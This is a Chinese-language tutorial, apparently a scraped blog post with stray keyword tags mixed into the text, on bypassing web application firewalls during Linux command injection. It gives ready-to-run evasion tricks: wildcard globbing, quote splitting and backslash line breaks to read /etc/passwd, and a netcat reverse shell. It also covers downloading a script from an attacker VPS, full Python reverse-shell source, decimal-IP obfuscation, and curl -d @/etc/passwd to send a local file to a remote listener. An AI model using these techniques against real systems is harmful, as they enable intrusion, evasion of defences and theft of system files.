命令注入之Web应用防火墙绕过技巧html
本文中讲述的绕过防火墙技巧,只适用于linux系统命令注入环境中,你们就不要纠结于这些绕过技巧不适用于mysql、window什么的。python
例如使用 /???/c?t /?t?/p??swd
来代替 cat /etc/passwd
mysql
/???/c?t /?t?/p??swd
其实匹配到的是 /bash/cat /etc/passwd
linux
有时候咱们想用netcat在目标机器上反弹一个端口,那么能够以下操做:web
/???/n? -e /???/b??h 127.0.0.1 6666
# /bin/nc -e /bin/bash 127.0.0.1 6666
# -e 后面跟上你要执行的程序,在链接成功后会自动运行该程序
固然,你还能够使用*星号、[0-9]字符集等匹配符来获取相关信息,有关标准通配符的更多信息能够在终端中键入 命令man 7 glob
,按照手册进行学习。sql
链接字符串的操做符主要有如下几种shell
在python、Java中使用 +
号;在PHP、perl中使用 .
号;在lua语言中则使用 ..
符号来链接字符串。而这些编程语言中的一些字符串链接符,有时候在bash中也能够达到字符链接的效果,这就致使咱们能够绕过一些Web应用防火墙规则(例如基于关键词匹配的防火墙规则)。编程
root@kali:~# echo Mochazz
Mochazz
root@kali:~# echo Mo'''chazz'
Mochazz
root@kali:~# echo 'Mo''chazz'
Mochazz
root@kali:~# echo 'M'och'az'z
Mochazz
看一条pm匹配规则(防火墙规则)bash
# Detect suspicious client by looking at the user agent identification
SecRule REQUEST_HEADERS:User-Agent "@pm passwd shadow" "id:166"
这条规则将忽略大小写进行匹配,若是匹配中passwd或shadow词组,即进行阻断,可是若是咱们使用字符串拼接,则能够绕过改规则app
root@kali:~# /'b'i''n/'c''a't /e't'c/p''as''sw'd'
使用如下命令在受害机上下载用于反弹shell的脚本
curl -v "http://VPS的IP/shell.py" -o /tmp/shell.py
shell.py 代码以下
#!/usr/bin/python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("<my ip address>",2375))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
提早在你的VPS上用nc侦听一个端口
nc -lvp [port]
更进一步,咱们能够将点分十进制的IP转换成长整数IP,例如
curl -v "http://127.0.0.1/shell.py" -o /tmp/shell.py
curl -v "http://2130706433/shell.py" -o /tmp/shell.py
使用 \ 符号来绕过WAF
root@kali:~# c\a\t /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
使用 \ 符号加回车来绕过WAF
root@kali:~# c\
> at /e't'c/p''a's'swd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
使用curl -d参数读取本地文件
curl -d @/<file> <remote server>
例如
curl -d @/etc/passwd 127.0.0.1:8888
# 在本地侦听8888端口便可接受到数据
关于文中更详细的内容,你们能够参考下面两篇文章。
PS:恰好这两天在看这两篇文章,freebuf小编在昨天翻译了其中一篇,你们也能够看WAF绕过技巧浅谈